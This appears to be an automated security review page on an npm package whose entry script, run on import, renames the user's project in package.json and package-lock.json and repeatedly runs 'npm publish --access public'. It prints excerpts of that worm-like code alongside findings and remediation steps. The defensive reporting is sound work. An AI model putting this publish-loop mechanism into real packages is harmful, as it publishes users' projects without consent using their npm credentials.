xenacious_kangaroo_blush-47@4.3.3
Ini adalah script Node.js yang bisa auto ganti nama package dalam file `package.json` dan `package-lock.json`, serta bisa publish package ke npmjs.com dengan`npm publish`. Script ini memiliki jeda waktu 1-5 menit untuk publish package selanjutnya. Sambil
AI Security Review
scanned 12h ago · by lpm-firewall-aiThe package’s main entry point starts a repeated public publishing loop that renames the working project and invokes npm publish. Although the README describes direct use as a publishing utility, this behavior is also triggered on import and can publish a caller’s project without a separate request.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
Import of the package’s main entry point; autopublish.js also invokes the publishing loop at module load.
Impact
May publish the user’s project under an automatically chosen public package name and continue publishing without a separate confirmation.
Mechanism
Changes package.json and package-lock.json to a generated package name, runs npm publish --access public, then schedules another attempt.
Attack narrative
The main entry point starts a loop that changes the current project’s package name, publishes it publicly with npm, and schedules another publish. Importing the package can therefore use the caller’s npm credentials to publish without a separate request.
AI rationale
The package’s main entry point starts a repeated public publishing loop that renames the working project and invokes npm publish. Although the README describes direct use as a publishing utility, this behavior is also triggered on import and can publish a caller’s project without a separate request.
Evidence
package.jsonautopublish.jspackage-lock.json
Network endpoints1
npmjs.com (via npm publish)
Decision evidence
public snapshotAI called this Malicious at 94.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package’s main entry point is autopublish.js, and the file calls publishWithDelay() at module load.
- The script renames the current package and writes the change to package.json and package-lock.json.
- It runs npm publish --access public and schedules another publish after a delay.
Evidence against
- The manifest has no install, preinstall, or postinstall lifecycle script.
- The description and README disclose that the script renames and publishes packages, and instruct users to run it directly.
Behavioral surface
ChildProcessFilesystemShell
HighEntropyStrings
Source & flagged code
7 flaggedautopublish.jsView file
1const fs = require('fs');
L2: const { exec } = require('child_process');
L3:
...
L28: const animationInterval = setInterval(() => {
L29: process.stdout.write('\r' + animation[currentFrame]);
L30: currentFrame = (currentFrame + 1) % animation.length;
...
L32:
L33: let packageJson = fs.readFileSync('package.json');
L34: let packageData = JSON.parse(packageJson);
L35: let randomString = generateRandomString(10);
...
L45:
L46: exec('npm publish --access public', (error, stdout, stderr) => {
Critical
Npm Publish Worm
Source mutates package metadata and republishes itself to npm.
autopublish.jsView on unpkg · L11Trigger-reachable chain: manifest.main -> autopublish.js
L1: const fs = require('fs');
L2: const { exec } = require('child_process');
L3:
...
L28: const animationInterval = setInterval(() => {
L29: process.stdout.write('\r' + animation[currentFrame]);
L30: currentFrame = (currentFrame + 1) % animation.length;
...
L32:
L33: let packageJson = fs.readFileSync('package.json');
L34: let packageData = JSON.parse(packageJson);
L35: let randomString = generateRandomString(10);
...
L45:
L46: exec('npm publish --access public', (error, stdout, stderr) => {
Critical
Trigger Reachable Dangerous Capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
autopublish.jsView on unpkg · L1Findings
2 Critical6 High1 Medium3 Low
CriticalNpm Publish Wormautopublish.js
CriticalTrigger Reachable Dangerous Capabilityautopublish.js
HighChild Processautopublish.js
HighShell
HighKnown Malware Source Fingerprint Signatureautopublish3.js
HighAi Review Evidencepackage.json
HighAi Review Evidenceautopublish.js
HighAi Review Evidenceautopublish.js
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to xenacious_kangaroo_blush-47@4.3.3.
See all versions of xenacious_kangaroo_blush-47 for other recorded verdicts.
- Avoid installing xenacious_kangaroo_blush-47@4.3.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.